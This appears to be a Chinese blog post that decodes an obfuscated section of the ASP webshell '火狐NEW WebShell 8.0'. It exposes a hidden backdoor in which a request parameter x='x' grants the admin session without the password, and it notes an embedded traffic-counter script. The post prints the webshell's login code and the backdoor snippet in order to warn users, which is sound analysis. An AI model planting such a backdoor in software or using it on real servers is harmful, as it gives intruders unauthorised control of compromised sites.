用解密软件可以很容易的把《火狐NEW WebShell 8.0》中99%的代码解密出来,但其中还是有一段代码是加密的琳ZWpcVbfVdexriry.rirpeYV_琳pDVddZ`_xrhVS#R#U^Z_ryp.pFdVcARdd琳pppppppFC=xy琳ppV_UpZW琳琳:WpDVddZ`_xrhVS#R#U^Z_ryp-/pFdVcARddpEYV_琳pp:WpCVbfVde~7`c^xrARddryp-/prrpEYV_琳pppp:WpCVbfVde~7`c^xrARddryp.pFdVcARddpEYV_琳ppppppDVddZ`_xrhVS#R#U^Z_ryp.pFdVcARdd琳ppppppCVda`_dV~CVUZcVTepFC=琳pppp6]dV琳 pcVda`_dV~hcZeVrp验证p失败p!r琳pppp6_Up:W琳pp琳pp6]dV琳ppppD:.r-TV_eVcpdej]V.wW`_e}dZkV+""#aiw/-Sc/p-Sc/p火狐?6HpHVSDYV]]p)~!p-Sc/p-Sc/r琳ppppD:.D:vr-W`c^pRTeZ`_.wrvFC=vrwp^VeY`U.wa`dew/r琳ppppD:.D:vrp密码:-Z_afep_R^V.wARddwpejaV.waRddh`cUwpdZkV.w""&w/r琳ppppD:.D:vrpv_Sda,p-Z_afepejaV.wdfS^ZewpgR]fV.w登录w/p- W`c^/p- TV_eVc/r琳pppppCVda`_dV~HcZeVpD:琳pppppCVda`_dV~HcZeVr-TV_eVcpdej]V.wW`_e}dZkV+""#aiw/-Sc/每一天睜開眼睛ヽo妳和陽光都在→那就是ωǒ要的菋來-Sc/r琳 pCVda`_dV~HcZeVr-TV_eVcpdej]V.wW`_e}dZkV+""#aiw/-Sc/本人到此只是技术上的研究。鄙视搞破坏的-Sc/r琳 pCVda`_dV~HcZeVr-TV_eVcpdej]V.wW`_e}dZkV+""#aiw/-Sc/ -Sc/r琳pppppCVda`_dV~HcZeVr-TV_eVcpdej]V.wW`_e}dZkV+""#aiw/-Sc/3J+神魂颠倒じ☆-Sc/r琳pppppcVda`_dV~hcZeVr-daR_pdej]V.UZda]Rj+_`_V/-dTcZaep]R_XfRXV.rr[RgRdTcZaerrpdcT.rrYeea+ T`f_e#%~&""jVd~T`^ T]ZT\~Rdai0ZU.#%$((*&$'v]`X`.""rr/- dTcZae/- dTcZae/- daR_/r琳pp6_Up:W琳ppCVda`_dV~6_U琳6_Up:W琳
不过只要你稍懂些Asp分析下它附近已解密出来的代码,要把上面这段代码也解密出来其实也很简单。解密后[code]if request(“x”)=”x” then
Session(“web2a2dmin”) = UserPass
URL()
end if
If Session(“web2a2dmin”) <> UserPass Then
If Request.Form(“Pass”) <> “” Then
If Request.Form(“Pass”) = UserPass Then
Session(“web2a2dmin”) = UserPass
Response.Redirect URL
Else
response.write” 验证 失败 !”
End If
Else
SI=”

火狐NEW WebShell 8.0


SI=SI&”


SI=SI&” 密码:
SI=SI&”


Response.Write SI
Response.Write”

每一天睜開眼睛ヽ~妳和陽光都在→那就是ωǒ要的菋來

Response.Write”

本人到此只是技术上的研究。鄙视搞破坏的

Response.Write”

 

Response.Write”

BY:神魂颠倒じ☆

response.write”
End If
Response.End
End If[/code]
看到了吧,代码里面隐藏着一个后门[code]if request(“x”)=”x” then
Session(“web2a2dmin”) = UserPass
URL()
end if[/code]和一个流量统计代码,加这些代码的人还真不厚道,目前网上流传的版本中很多都有这个后门,使用《火狐NEW WebShell 8.0》的可要小心了。